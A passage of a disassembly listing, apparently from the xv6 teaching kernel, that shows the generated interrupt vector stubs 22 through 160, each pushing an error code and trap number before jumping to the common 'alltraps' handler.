jmp alltraps 80105ed8: e9 6c fa ff ff jmp 80105949 <alltraps> 80105edd <vector22>: .globl vector22 vector22: pushl $0 80105edd: 6a 00 push $0x0 pushl $22 80105edf: 6a 16 push $0x16 jmp alltraps 80105ee1: e9 63 fa ff ff jmp 80105949 <alltraps> 80105ee6 <vector23>: .globl vector23 vector23: pushl $0 80105ee6: 6a 00 push $0x0 pushl $23 80105ee8: 6a 17 push $0x17 jmp alltraps 80105eea: e9 5a fa ff ff jmp 80105949 <alltraps> 80105eef <vector24>: .globl vector24 vector24: pushl $0 80105eef: 6a 00 push $0x0 pushl $24 80105ef1: 6a 18 push $0x18 jmp alltraps 80105ef3: e9 51 fa ff ff jmp 80105949 <alltraps> 80105ef8 <vector25>: .globl vector25 vector25: pushl $0 80105ef8: 6a 00 push $0x0 pushl $25 80105efa: 6a 19 push $0x19 jmp alltraps 80105efc: e9 48 fa ff ff jmp 80105949 <alltraps> 80105f01 <vector26>: .globl vector26 vector26: pushl $0 80105f01: 6a 00 push $0x0 pushl $26 80105f03: 6a 1a push $0x1a jmp alltraps 80105f05: e9 3f fa ff ff jmp 80105949 <alltraps> 80105f0a <vector27>: .globl vector27 vector27: pushl $0 80105f0a: 6a 00 push $0x0 pushl $27 80105f0c: 6a 1b push $0x1b jmp alltraps 80105f0e: e9 36 fa ff ff jmp 80105949 <alltraps> 80105f13 <vector28>: .globl vector28 vector28: pushl $0 80105f13: 6a 00 push $0x0 pushl $28 80105f15: 6a 1c push $0x1c jmp alltraps 80105f17: e9 2d fa ff ff jmp 80105949 <alltraps> 80105f1c <vector29>: .globl vector29 vector29: pushl $0 80105f1c: 6a 00 push $0x0 pushl $29 80105f1e: 6a 1d push $0x1d jmp alltraps 80105f20: e9 24 fa ff ff jmp 80105949 <alltraps> 80105f25 <vector30>: .globl vector30 vector30: pushl $0 80105f25: 6a 00 push $0x0 pushl $30 80105f27: 6a 1e push $0x1e jmp alltraps 80105f29: e9 1b fa ff ff jmp 80105949 <alltraps> 80105f2e <vector31>: .globl vector31 vector31: pushl $0 80105f2e: 6a 00 push $0x0 pushl $31 80105f30: 6a 1f push $0x1f jmp alltraps 80105f32: e9 12 fa ff ff jmp 80105949 <alltraps> 80105f37 <vector32>: .globl vector32 vector32: pushl $0 80105f37: 6a 00 push $0x0 pushl $32 80105f39: 6a 20 push $0x20 jmp alltraps 80105f3b: e9 09 fa ff ff jmp 80105949 <alltraps> 80105f40 <vector33>: .globl vector33 vector33: pushl $0 80105f40: 6a 00 push $0x0 pushl $33 80105f42: 6a 21 push $0x21 jmp alltraps 80105f44: e9 00 fa ff ff jmp 80105949 <alltraps> 80105f49 <vector34>: .globl vector34 vector34: pushl $0 80105f49: 6a 00 push $0x0 pushl $34 80105f4b: 6a 22 push $0x22 jmp alltraps 80105f4d: e9 f7 f9 ff ff jmp 80105949 <alltraps> 80105f52 <vector35>: .globl vector35 vector35: pushl $0 80105f52: 6a 00 push $0x0 pushl $35 80105f54: 6a 23 push $0x23 jmp alltraps 80105f56: e9 ee f9 ff ff jmp 80105949 <alltraps> 80105f5b <vector36>: .globl vector36 vector36: pushl $0 80105f5b: 6a 00 push $0x0 pushl $36 80105f5d: 6a 24 push $0x24 jmp alltraps 80105f5f: e9 e5 f9 ff ff jmp 80105949 <alltraps> 80105f64 <vector37>: .globl vector37 vector37: pushl $0 80105f64: 6a 00 push $0x0 pushl $37 80105f66: 6a 25 push $0x25 jmp alltraps 80105f68: e9 dc f9 ff ff jmp 80105949 <alltraps> 80105f6d <vector38>: .globl vector38 vector38: pushl $0 80105f6d: 6a 00 push $0x0 pushl $38 80105f6f: 6a 26 push $0x26 jmp alltraps 80105f71: e9 d3 f9 ff ff jmp 80105949 <alltraps> 80105f76 <vector39>: .globl vector39 vector39: pushl $0 80105f76: 6a 00 push $0x0 pushl $39 80105f78: 6a 27 push $0x27 jmp alltraps 80105f7a: e9 ca f9 ff ff jmp 80105949 <alltraps> 80105f7f <vector40>: .globl vector40 vector40: pushl $0 80105f7f: 6a 00 push $0x0 pushl $40 80105f81: 6a 28 push $0x28 jmp alltraps 80105f83: e9 c1 f9 ff ff jmp 80105949 <alltraps> 80105f88 <vector41>: .globl vector41 vector41: pushl $0 80105f88: 6a 00 push $0x0 pushl $41 80105f8a: 6a 29 push $0x29 jmp alltraps 80105f8c: e9 b8 f9 ff ff jmp 80105949 <alltraps> 80105f91 <vector42>: .globl vector42 vector42: pushl $0 80105f91: 6a 00 push $0x0 pushl $42 80105f93: 6a 2a push $0x2a jmp alltraps 80105f95: e9 af f9 ff ff jmp 80105949 <alltraps> 80105f9a <vector43>: .globl vector43 vector43: pushl $0 80105f9a: 6a 00 push $0x0 pushl $43 80105f9c: 6a 2b push $0x2b jmp alltraps 80105f9e: e9 a6 f9 ff ff jmp 80105949 <alltraps> 80105fa3 <vector44>: .globl vector44 vector44: pushl $0 80105fa3: 6a 00 push $0x0 pushl $44 80105fa5: 6a 2c push $0x2c jmp alltraps 80105fa7: e9 9d f9 ff ff jmp 80105949 <alltraps> 80105fac <vector45>: .globl vector45 vector45: pushl $0 80105fac: 6a 00 push $0x0 pushl $45 80105fae: 6a 2d push $0x2d jmp alltraps 80105fb0: e9 94 f9 ff ff jmp 80105949 <alltraps> 80105fb5 <vector46>: .globl vector46 vector46: pushl $0 80105fb5: 6a 00 push $0x0 pushl $46 80105fb7: 6a 2e push $0x2e jmp alltraps 80105fb9: e9 8b f9 ff ff jmp 80105949 <alltraps> 80105fbe <vector47>: .globl vector47 vector47: pushl $0 80105fbe: 6a 00 push $0x0 pushl $47 80105fc0: 6a 2f push $0x2f jmp alltraps 80105fc2: e9 82 f9 ff ff jmp 80105949 <alltraps> 80105fc7 <vector48>: .globl vector48 vector48: pushl $0 80105fc7: 6a 00 push $0x0 pushl $48 80105fc9: 6a 30 push $0x30 jmp alltraps 80105fcb: e9 79 f9 ff ff jmp 80105949 <alltraps> 80105fd0 <vector49>: .globl vector49 vector49: pushl $0 80105fd0: 6a 00 push $0x0 pushl $49 80105fd2: 6a 31 push $0x31 jmp alltraps 80105fd4: e9 70 f9 ff ff jmp 80105949 <alltraps> 80105fd9 <vector50>: .globl vector50 vector50: pushl $0 80105fd9: 6a 00 push $0x0 pushl $50 80105fdb: 6a 32 push $0x32 jmp alltraps 80105fdd: e9 67 f9 ff ff jmp 80105949 <alltraps> 80105fe2 <vector51>: .globl vector51 vector51: pushl $0 80105fe2: 6a 00 push $0x0 pushl $51 80105fe4: 6a 33 push $0x33 jmp alltraps 80105fe6: e9 5e f9 ff ff jmp 80105949 <alltraps> 80105feb <vector52>: .globl vector52 vector52: pushl $0 80105feb: 6a 00 push $0x0 pushl $52 80105fed: 6a 34 push $0x34 jmp alltraps 80105fef: e9 55 f9 ff ff jmp 80105949 <alltraps> 80105ff4 <vector53>: .globl vector53 vector53: pushl $0 80105ff4: 6a 00 push $0x0 pushl $53 80105ff6: 6a 35 push $0x35 jmp alltraps 80105ff8: e9 4c f9 ff ff jmp 80105949 <alltraps> 80105ffd <vector54>: .globl vector54 vector54: pushl $0 80105ffd: 6a 00 push $0x0 pushl $54 80105fff: 6a 36 push $0x36 jmp alltraps 80106001: e9 43 f9 ff ff jmp 80105949 <alltraps> 80106006 <vector55>: .globl vector55 vector55: pushl $0 80106006: 6a 00 push $0x0 pushl $55 80106008: 6a 37 push $0x37 jmp alltraps 8010600a: e9 3a f9 ff ff jmp 80105949 <alltraps> 8010600f <vector56>: .globl vector56 vector56: pushl $0 8010600f: 6a 00 push $0x0 pushl $56 80106011: 6a 38 push $0x38 jmp alltraps 80106013: e9 31 f9 ff ff jmp 80105949 <alltraps> 80106018 <vector57>: .globl vector57 vector57: pushl $0 80106018: 6a 00 push $0x0 pushl $57 8010601a: 6a 39 push $0x39 jmp alltraps 8010601c: e9 28 f9 ff ff jmp 80105949 <alltraps> 80106021 <vector58>: .globl vector58 vector58: pushl $0 80106021: 6a 00 push $0x0 pushl $58 80106023: 6a 3a push $0x3a jmp alltraps 80106025: e9 1f f9 ff ff jmp 80105949 <alltraps> 8010602a <vector59>: .globl vector59 vector59: pushl $0 8010602a: 6a 00 push $0x0 pushl $59 8010602c: 6a 3b push $0x3b jmp alltraps 8010602e: e9 16 f9 ff ff jmp 80105949 <alltraps> 80106033 <vector60>: .globl vector60 vector60: pushl $0 80106033: 6a 00 push $0x0 pushl $60 80106035: 6a 3c push $0x3c jmp alltraps 80106037: e9 0d f9 ff ff jmp 80105949 <alltraps> 8010603c <vector61>: .globl vector61 vector61: pushl $0 8010603c: 6a 00 push $0x0 pushl $61 8010603e: 6a 3d push $0x3d jmp alltraps 80106040: e9 04 f9 ff ff jmp 80105949 <alltraps> 80106045 <vector62>: .globl vector62 vector62: pushl $0 80106045: 6a 00 push $0x0 pushl $62 80106047: 6a 3e push $0x3e jmp alltraps 80106049: e9 fb f8 ff ff jmp 80105949 <alltraps> 8010604e <vector63>: .globl vector63 vector63: pushl $0 8010604e: 6a 00 push $0x0 pushl $63 80106050: 6a 3f push $0x3f jmp alltraps 80106052: e9 f2 f8 ff ff jmp 80105949 <alltraps> 80106057 <vector64>: .globl vector64 vector64: pushl $0 80106057: 6a 00 push $0x0 pushl $64 80106059: 6a 40 push $0x40 jmp alltraps 8010605b: e9 e9 f8 ff ff jmp 80105949 <alltraps> 80106060 <vector65>: .globl vector65 vector65: pushl $0 80106060: 6a 00 push $0x0 pushl $65 80106062: 6a 41 push $0x41 jmp alltraps 80106064: e9 e0 f8 ff ff jmp 80105949 <alltraps> 80106069 <vector66>: .globl vector66 vector66: pushl $0 80106069: 6a 00 push $0x0 pushl $66 8010606b: 6a 42 push $0x42 jmp alltraps 8010606d: e9 d7 f8 ff ff jmp 80105949 <alltraps> 80106072 <vector67>: .globl vector67 vector67: pushl $0 80106072: 6a 00 push $0x0 pushl $67 80106074: 6a 43 push $0x43 jmp alltraps 80106076: e9 ce f8 ff ff jmp 80105949 <alltraps> 8010607b <vector68>: .globl vector68 vector68: pushl $0 8010607b: 6a 00 push $0x0 pushl $68 8010607d: 6a 44 push $0x44 jmp alltraps 8010607f: e9 c5 f8 ff ff jmp 80105949 <alltraps> 80106084 <vector69>: .globl vector69 vector69: pushl $0 80106084: 6a 00 push $0x0 pushl $69 80106086: 6a 45 push $0x45 jmp alltraps 80106088: e9 bc f8 ff ff jmp 80105949 <alltraps> 8010608d <vector70>: .globl vector70 vector70: pushl $0 8010608d: 6a 00 push $0x0 pushl $70 8010608f: 6a 46 push $0x46 jmp alltraps 80106091: e9 b3 f8 ff ff jmp 80105949 <alltraps> 80106096 <vector71>: .globl vector71 vector71: pushl $0 80106096: 6a 00 push $0x0 pushl $71 80106098: 6a 47 push $0x47 jmp alltraps 8010609a: e9 aa f8 ff ff jmp 80105949 <alltraps> 8010609f <vector72>: .globl vector72 vector72: pushl $0 8010609f: 6a 00 push $0x0 pushl $72 801060a1: 6a 48 push $0x48 jmp alltraps 801060a3: e9 a1 f8 ff ff jmp 80105949 <alltraps> 801060a8 <vector73>: .globl vector73 vector73: pushl $0 801060a8: 6a 00 push $0x0 pushl $73 801060aa: 6a 49 push $0x49 jmp alltraps 801060ac: e9 98 f8 ff ff jmp 80105949 <alltraps> 801060b1 <vector74>: .globl vector74 vector74: pushl $0 801060b1: 6a 00 push $0x0 pushl $74 801060b3: 6a 4a push $0x4a jmp alltraps 801060b5: e9 8f f8 ff ff jmp 80105949 <alltraps> 801060ba <vector75>: .globl vector75 vector75: pushl $0 801060ba: 6a 00 push $0x0 pushl $75 801060bc: 6a 4b push $0x4b jmp alltraps 801060be: e9 86 f8 ff ff jmp 80105949 <alltraps> 801060c3 <vector76>: .globl vector76 vector76: pushl $0 801060c3: 6a 00 push $0x0 pushl $76 801060c5: 6a 4c push $0x4c jmp alltraps 801060c7: e9 7d f8 ff ff jmp 80105949 <alltraps> 801060cc <vector77>: .globl vector77 vector77: pushl $0 801060cc: 6a 00 push $0x0 pushl $77 801060ce: 6a 4d push $0x4d jmp alltraps 801060d0: e9 74 f8 ff ff jmp 80105949 <alltraps> 801060d5 <vector78>: .globl vector78 vector78: pushl $0 801060d5: 6a 00 push $0x0 pushl $78 801060d7: 6a 4e push $0x4e jmp alltraps 801060d9: e9 6b f8 ff ff jmp 80105949 <alltraps> 801060de <vector79>: .globl vector79 vector79: pushl $0 801060de: 6a 00 push $0x0 pushl $79 801060e0: 6a 4f push $0x4f jmp alltraps 801060e2: e9 62 f8 ff ff jmp 80105949 <alltraps> 801060e7 <vector80>: .globl vector80 vector80: pushl $0 801060e7: 6a 00 push $0x0 pushl $80 801060e9: 6a 50 push $0x50 jmp alltraps 801060eb: e9 59 f8 ff ff jmp 80105949 <alltraps> 801060f0 <vector81>: .globl vector81 vector81: pushl $0 801060f0: 6a 00 push $0x0 pushl $81 801060f2: 6a 51 push $0x51 jmp alltraps 801060f4: e9 50 f8 ff ff jmp 80105949 <alltraps> 801060f9 <vector82>: .globl vector82 vector82: pushl $0 801060f9: 6a 00 push $0x0 pushl $82 801060fb: 6a 52 push $0x52 jmp alltraps 801060fd: e9 47 f8 ff ff jmp 80105949 <alltraps> 80106102 <vector83>: .globl vector83 vector83: pushl $0 80106102: 6a 00 push $0x0 pushl $83 80106104: 6a 53 push $0x53 jmp alltraps 80106106: e9 3e f8 ff ff jmp 80105949 <alltraps> 8010610b <vector84>: .globl vector84 vector84: pushl $0 8010610b: 6a 00 push $0x0 pushl $84 8010610d: 6a 54 push $0x54 jmp alltraps 8010610f: e9 35 f8 ff ff jmp 80105949 <alltraps> 80106114 <vector85>: .globl vector85 vector85: pushl $0 80106114: 6a 00 push $0x0 pushl $85 80106116: 6a 55 push $0x55 jmp alltraps 80106118: e9 2c f8 ff ff jmp 80105949 <alltraps> 8010611d <vector86>: .globl vector86 vector86: pushl $0 8010611d: 6a 00 push $0x0 pushl $86 8010611f: 6a 56 push $0x56 jmp alltraps 80106121: e9 23 f8 ff ff jmp 80105949 <alltraps> 80106126 <vector87>: .globl vector87 vector87: pushl $0 80106126: 6a 00 push $0x0 pushl $87 80106128: 6a 57 push $0x57 jmp alltraps 8010612a: e9 1a f8 ff ff jmp 80105949 <alltraps> 8010612f <vector88>: .globl vector88 vector88: pushl $0 8010612f: 6a 00 push $0x0 pushl $88 80106131: 6a 58 push $0x58 jmp alltraps 80106133: e9 11 f8 ff ff jmp 80105949 <alltraps> 80106138 <vector89>: .globl vector89 vector89: pushl $0 80106138: 6a 00 push $0x0 pushl $89 8010613a: 6a 59 push $0x59 jmp alltraps 8010613c: e9 08 f8 ff ff jmp 80105949 <alltraps> 80106141 <vector90>: .globl vector90 vector90: pushl $0 80106141: 6a 00 push $0x0 pushl $90 80106143: 6a 5a push $0x5a jmp alltraps 80106145: e9 ff f7 ff ff jmp 80105949 <alltraps> 8010614a <vector91>: .globl vector91 vector91: pushl $0 8010614a: 6a 00 push $0x0 pushl $91 8010614c: 6a 5b push $0x5b jmp alltraps 8010614e: e9 f6 f7 ff ff jmp 80105949 <alltraps> 80106153 <vector92>: .globl vector92 vector92: pushl $0 80106153: 6a 00 push $0x0 pushl $92 80106155: 6a 5c push $0x5c jmp alltraps 80106157: e9 ed f7 ff ff jmp 80105949 <alltraps> 8010615c <vector93>: .globl vector93 vector93: pushl $0 8010615c: 6a 00 push $0x0 pushl $93 8010615e: 6a 5d push $0x5d jmp alltraps 80106160: e9 e4 f7 ff ff jmp 80105949 <alltraps> 80106165 <vector94>: .globl vector94 vector94: pushl $0 80106165: 6a 00 push $0x0 pushl $94 80106167: 6a 5e push $0x5e jmp alltraps 80106169: e9 db f7 ff ff jmp 80105949 <alltraps> 8010616e <vector95>: .globl vector95 vector95: pushl $0 8010616e: 6a 00 push $0x0 pushl $95 80106170: 6a 5f push $0x5f jmp alltraps 80106172: e9 d2 f7 ff ff jmp 80105949 <alltraps> 80106177 <vector96>: .globl vector96 vector96: pushl $0 80106177: 6a 00 push $0x0 pushl $96 80106179: 6a 60 push $0x60 jmp alltraps 8010617b: e9 c9 f7 ff ff jmp 80105949 <alltraps> 80106180 <vector97>: .globl vector97 vector97: pushl $0 80106180: 6a 00 push $0x0 pushl $97 80106182: 6a 61 push $0x61 jmp alltraps 80106184: e9 c0 f7 ff ff jmp 80105949 <alltraps> 80106189 <vector98>: .globl vector98 vector98: pushl $0 80106189: 6a 00 push $0x0 pushl $98 8010618b: 6a 62 push $0x62 jmp alltraps 8010618d: e9 b7 f7 ff ff jmp 80105949 <alltraps> 80106192 <vector99>: .globl vector99 vector99: pushl $0 80106192: 6a 00 push $0x0 pushl $99 80106194: 6a 63 push $0x63 jmp alltraps 80106196: e9 ae f7 ff ff jmp 80105949 <alltraps> 8010619b <vector100>: .globl vector100 vector100: pushl $0 8010619b: 6a 00 push $0x0 pushl $100 8010619d: 6a 64 push $0x64 jmp alltraps 8010619f: e9 a5 f7 ff ff jmp 80105949 <alltraps> 801061a4 <vector101>: .globl vector101 vector101: pushl $0 801061a4: 6a 00 push $0x0 pushl $101 801061a6: 6a 65 push $0x65 jmp alltraps 801061a8: e9 9c f7 ff ff jmp 80105949 <alltraps> 801061ad <vector102>: .globl vector102 vector102: pushl $0 801061ad: 6a 00 push $0x0 pushl $102 801061af: 6a 66 push $0x66 jmp alltraps 801061b1: e9 93 f7 ff ff jmp 80105949 <alltraps> 801061b6 <vector103>: .globl vector103 vector103: pushl $0 801061b6: 6a 00 push $0x0 pushl $103 801061b8: 6a 67 push $0x67 jmp alltraps 801061ba: e9 8a f7 ff ff jmp 80105949 <alltraps> 801061bf <vector104>: .globl vector104 vector104: pushl $0 801061bf: 6a 00 push $0x0 pushl $104 801061c1: 6a 68 push $0x68 jmp alltraps 801061c3: e9 81 f7 ff ff jmp 80105949 <alltraps> 801061c8 <vector105>: .globl vector105 vector105: pushl $0 801061c8: 6a 00 push $0x0 pushl $105 801061ca: 6a 69 push $0x69 jmp alltraps 801061cc: e9 78 f7 ff ff jmp 80105949 <alltraps> 801061d1 <vector106>: .globl vector106 vector106: pushl $0 801061d1: 6a 00 push $0x0 pushl $106 801061d3: 6a 6a push $0x6a jmp alltraps 801061d5: e9 6f f7 ff ff jmp 80105949 <alltraps> 801061da <vector107>: .globl vector107 vector107: pushl $0 801061da: 6a 00 push $0x0 pushl $107 801061dc: 6a 6b push $0x6b jmp alltraps 801061de: e9 66 f7 ff ff jmp 80105949 <alltraps> 801061e3 <vector108>: .globl vector108 vector108: pushl $0 801061e3: 6a 00 push $0x0 pushl $108 801061e5: 6a 6c push $0x6c jmp alltraps 801061e7: e9 5d f7 ff ff jmp 80105949 <alltraps> 801061ec <vector109>: .globl vector109 vector109: pushl $0 801061ec: 6a 00 push $0x0 pushl $109 801061ee: 6a 6d push $0x6d jmp alltraps 801061f0: e9 54 f7 ff ff jmp 80105949 <alltraps> 801061f5 <vector110>: .globl vector110 vector110: pushl $0 801061f5: 6a 00 push $0x0 pushl $110 801061f7: 6a 6e push $0x6e jmp alltraps 801061f9: e9 4b f7 ff ff jmp 80105949 <alltraps> 801061fe <vector111>: .globl vector111 vector111: pushl $0 801061fe: 6a 00 push $0x0 pushl $111 80106200: 6a 6f push $0x6f jmp alltraps 80106202: e9 42 f7 ff ff jmp 80105949 <alltraps> 80106207 <vector112>: .globl vector112 vector112: pushl $0 80106207: 6a 00 push $0x0 pushl $112 80106209: 6a 70 push $0x70 jmp alltraps 8010620b: e9 39 f7 ff ff jmp 80105949 <alltraps> 80106210 <vector113>: .globl vector113 vector113: pushl $0 80106210: 6a 00 push $0x0 pushl $113 80106212: 6a 71 push $0x71 jmp alltraps 80106214: e9 30 f7 ff ff jmp 80105949 <alltraps> 80106219 <vector114>: .globl vector114 vector114: pushl $0 80106219: 6a 00 push $0x0 pushl $114 8010621b: 6a 72 push $0x72 jmp alltraps 8010621d: e9 27 f7 ff ff jmp 80105949 <alltraps> 80106222 <vector115>: .globl vector115 vector115: pushl $0 80106222: 6a 00 push $0x0 pushl $115 80106224: 6a 73 push $0x73 jmp alltraps 80106226: e9 1e f7 ff ff jmp 80105949 <alltraps> 8010622b <vector116>: .globl vector116 vector116: pushl $0 8010622b: 6a 00 push $0x0 pushl $116 8010622d: 6a 74 push $0x74 jmp alltraps 8010622f: e9 15 f7 ff ff jmp 80105949 <alltraps> 80106234 <vector117>: .globl vector117 vector117: pushl $0 80106234: 6a 00 push $0x0 pushl $117 80106236: 6a 75 push $0x75 jmp alltraps 80106238: e9 0c f7 ff ff jmp 80105949 <alltraps> 8010623d <vector118>: .globl vector118 vector118: pushl $0 8010623d: 6a 00 push $0x0 pushl $118 8010623f: 6a 76 push $0x76 jmp alltraps 80106241: e9 03 f7 ff ff jmp 80105949 <alltraps> 80106246 <vector119>: .globl vector119 vector119: pushl $0 80106246: 6a 00 push $0x0 pushl $119 80106248: 6a 77 push $0x77 jmp alltraps 8010624a: e9 fa f6 ff ff jmp 80105949 <alltraps> 8010624f <vector120>: .globl vector120 vector120: pushl $0 8010624f: 6a 00 push $0x0 pushl $120 80106251: 6a 78 push $0x78 jmp alltraps 80106253: e9 f1 f6 ff ff jmp 80105949 <alltraps> 80106258 <vector121>: .globl vector121 vector121: pushl $0 80106258: 6a 00 push $0x0 pushl $121 8010625a: 6a 79 push $0x79 jmp alltraps 8010625c: e9 e8 f6 ff ff jmp 80105949 <alltraps> 80106261 <vector122>: .globl vector122 vector122: pushl $0 80106261: 6a 00 push $0x0 pushl $122 80106263: 6a 7a push $0x7a jmp alltraps 80106265: e9 df f6 ff ff jmp 80105949 <alltraps> 8010626a <vector123>: .globl vector123 vector123: pushl $0 8010626a: 6a 00 push $0x0 pushl $123 8010626c: 6a 7b push $0x7b jmp alltraps 8010626e: e9 d6 f6 ff ff jmp 80105949 <alltraps> 80106273 <vector124>: .globl vector124 vector124: pushl $0 80106273: 6a 00 push $0x0 pushl $124 80106275: 6a 7c push $0x7c jmp alltraps 80106277: e9 cd f6 ff ff jmp 80105949 <alltraps> 8010627c <vector125>: .globl vector125 vector125: pushl $0 8010627c: 6a 00 push $0x0 pushl $125 8010627e: 6a 7d push $0x7d jmp alltraps 80106280: e9 c4 f6 ff ff jmp 80105949 <alltraps> 80106285 <vector126>: .globl vector126 vector126: pushl $0 80106285: 6a 00 push $0x0 pushl $126 80106287: 6a 7e push $0x7e jmp alltraps 80106289: e9 bb f6 ff ff jmp 80105949 <alltraps> 8010628e <vector127>: .globl vector127 vector127: pushl $0 8010628e: 6a 00 push $0x0 pushl $127 80106290: 6a 7f push $0x7f jmp alltraps 80106292: e9 b2 f6 ff ff jmp 80105949 <alltraps> 80106297 <vector128>: .globl vector128 vector128: pushl $0 80106297: 6a 00 push $0x0 pushl $128 80106299: 68 80 00 00 00 push $0x80 jmp alltraps 8010629e: e9 a6 f6 ff ff jmp 80105949 <alltraps> 801062a3 <vector129>: .globl vector129 vector129: pushl $0 801062a3: 6a 00 push $0x0 pushl $129 801062a5: 68 81 00 00 00 push $0x81 jmp alltraps 801062aa: e9 9a f6 ff ff jmp 80105949 <alltraps> 801062af <vector130>: .globl vector130 vector130: pushl $0 801062af: 6a 00 push $0x0 pushl $130 801062b1: 68 82 00 00 00 push $0x82 jmp alltraps 801062b6: e9 8e f6 ff ff jmp 80105949 <alltraps> 801062bb <vector131>: .globl vector131 vector131: pushl $0 801062bb: 6a 00 push $0x0 pushl $131 801062bd: 68 83 00 00 00 push $0x83 jmp alltraps 801062c2: e9 82 f6 ff ff jmp 80105949 <alltraps> 801062c7 <vector132>: .globl vector132 vector132: pushl $0 801062c7: 6a 00 push $0x0 pushl $132 801062c9: 68 84 00 00 00 push $0x84 jmp alltraps 801062ce: e9 76 f6 ff ff jmp 80105949 <alltraps> 801062d3 <vector133>: .globl vector133 vector133: pushl $0 801062d3: 6a 00 push $0x0 pushl $133 801062d5: 68 85 00 00 00 push $0x85 jmp alltraps 801062da: e9 6a f6 ff ff jmp 80105949 <alltraps> 801062df <vector134>: .globl vector134 vector134: pushl $0 801062df: 6a 00 push $0x0 pushl $134 801062e1: 68 86 00 00 00 push $0x86 jmp alltraps 801062e6: e9 5e f6 ff ff jmp 80105949 <alltraps> 801062eb <vector135>: .globl vector135 vector135: pushl $0 801062eb: 6a 00 push $0x0 pushl $135 801062ed: 68 87 00 00 00 push $0x87 jmp alltraps 801062f2: e9 52 f6 ff ff jmp 80105949 <alltraps> 801062f7 <vector136>: .globl vector136 vector136: pushl $0 801062f7: 6a 00 push $0x0 pushl $136 801062f9: 68 88 00 00 00 push $0x88 jmp alltraps 801062fe: e9 46 f6 ff ff jmp 80105949 <alltraps> 80106303 <vector137>: .globl vector137 vector137: pushl $0 80106303: 6a 00 push $0x0 pushl $137 80106305: 68 89 00 00 00 push $0x89 jmp alltraps 8010630a: e9 3a f6 ff ff jmp 80105949 <alltraps> 8010630f <vector138>: .globl vector138 vector138: pushl $0 8010630f: 6a 00 push $0x0 pushl $138 80106311: 68 8a 00 00 00 push $0x8a jmp alltraps 80106316: e9 2e f6 ff ff jmp 80105949 <alltraps> 8010631b <vector139>: .globl vector139 vector139: pushl $0 8010631b: 6a 00 push $0x0 pushl $139 8010631d: 68 8b 00 00 00 push $0x8b jmp alltraps 80106322: e9 22 f6 ff ff jmp 80105949 <alltraps> 80106327 <vector140>: .globl vector140 vector140: pushl $0 80106327: 6a 00 push $0x0 pushl $140 80106329: 68 8c 00 00 00 push $0x8c jmp alltraps 8010632e: e9 16 f6 ff ff jmp 80105949 <alltraps> 80106333 <vector141>: .globl vector141 vector141: pushl $0 80106333: 6a 00 push $0x0 pushl $141 80106335: 68 8d 00 00 00 push $0x8d jmp alltraps 8010633a: e9 0a f6 ff ff jmp 80105949 <alltraps> 8010633f <vector142>: .globl vector142 vector142: pushl $0 8010633f: 6a 00 push $0x0 pushl $142 80106341: 68 8e 00 00 00 push $0x8e jmp alltraps 80106346: e9 fe f5 ff ff jmp 80105949 <alltraps> 8010634b <vector143>: .globl vector143 vector143: pushl $0 8010634b: 6a 00 push $0x0 pushl $143 8010634d: 68 8f 00 00 00 push $0x8f jmp alltraps 80106352: e9 f2 f5 ff ff jmp 80105949 <alltraps> 80106357 <vector144>: .globl vector144 vector144: pushl $0 80106357: 6a 00 push $0x0 pushl $144 80106359: 68 90 00 00 00 push $0x90 jmp alltraps 8010635e: e9 e6 f5 ff ff jmp 80105949 <alltraps> 80106363 <vector145>: .globl vector145 vector145: pushl $0 80106363: 6a 00 push $0x0 pushl $145 80106365: 68 91 00 00 00 push $0x91 jmp alltraps 8010636a: e9 da f5 ff ff jmp 80105949 <alltraps> 8010636f <vector146>: .globl vector146 vector146: pushl $0 8010636f: 6a 00 push $0x0 pushl $146 80106371: 68 92 00 00 00 push $0x92 jmp alltraps 80106376: e9 ce f5 ff ff jmp 80105949 <alltraps> 8010637b <vector147>: .globl vector147 vector147: pushl $0 8010637b: 6a 00 push $0x0 pushl $147 8010637d: 68 93 00 00 00 push $0x93 jmp alltraps 80106382: e9 c2 f5 ff ff jmp 80105949 <alltraps> 80106387 <vector148>: .globl vector148 vector148: pushl $0 80106387: 6a 00 push $0x0 pushl $148 80106389: 68 94 00 00 00 push $0x94 jmp alltraps 8010638e: e9 b6 f5 ff ff jmp 80105949 <alltraps> 80106393 <vector149>: .globl vector149 vector149: pushl $0 80106393: 6a 00 push $0x0 pushl $149 80106395: 68 95 00 00 00 push $0x95 jmp alltraps 8010639a: e9 aa f5 ff ff jmp 80105949 <alltraps> 8010639f <vector150>: .globl vector150 vector150: pushl $0 8010639f: 6a 00 push $0x0 pushl $150 801063a1: 68 96 00 00 00 push $0x96 jmp alltraps 801063a6: e9 9e f5 ff ff jmp 80105949 <alltraps> 801063ab <vector151>: .globl vector151 vector151: pushl $0 801063ab: 6a 00 push $0x0 pushl $151 801063ad: 68 97 00 00 00 push $0x97 jmp alltraps 801063b2: e9 92 f5 ff ff jmp 80105949 <alltraps> 801063b7 <vector152>: .globl vector152 vector152: pushl $0 801063b7: 6a 00 push $0x0 pushl $152 801063b9: 68 98 00 00 00 push $0x98 jmp alltraps 801063be: e9 86 f5 ff ff jmp 80105949 <alltraps> 801063c3 <vector153>: .globl vector153 vector153: pushl $0 801063c3: 6a 00 push $0x0 pushl $153 801063c5: 68 99 00 00 00 push $0x99 jmp alltraps 801063ca: e9 7a f5 ff ff jmp 80105949 <alltraps> 801063cf <vector154>: .globl vector154 vector154: pushl $0 801063cf: 6a 00 push $0x0 pushl $154 801063d1: 68 9a 00 00 00 push $0x9a jmp alltraps 801063d6: e9 6e f5 ff ff jmp 80105949 <alltraps> 801063db <vector155>: .globl vector155 vector155: pushl $0 801063db: 6a 00 push $0x0 pushl $155 801063dd: 68 9b 00 00 00 push $0x9b jmp alltraps 801063e2: e9 62 f5 ff ff jmp 80105949 <alltraps> 801063e7 <vector156>: .globl vector156 vector156: pushl $0 801063e7: 6a 00 push $0x0 pushl $156 801063e9: 68 9c 00 00 00 push $0x9c jmp alltraps 801063ee: e9 56 f5 ff ff jmp 80105949 <alltraps> 801063f3 <vector157>: .globl vector157 vector157: pushl $0 801063f3: 6a 00 push $0x0 pushl $157 801063f5: 68 9d 00 00 00 push $0x9d jmp alltraps 801063fa: e9 4a f5 ff ff jmp 80105949 <alltraps> 801063ff <vector158>: .globl vector158 vector158: pushl $0 801063ff: 6a 00 push $0x0 pushl $158 80106401: 68 9e 00 00 00 push $0x9e jmp alltraps 80106406: e9 3e f5 ff ff jmp 80105949 <alltraps> 8010640b <vector159>: .globl vector159 vector159: pushl $0 8010640b: 6a 00 push $0x0 pushl $159 8010640d: 68 9f 00 00 00 push $0x9f jmp alltraps 80106412: e9 32 f5 ff ff jmp 80105949 <alltraps> 80106417 <vector160>: .globl vector160 vector160: pushl $0 80106417: 6a 00 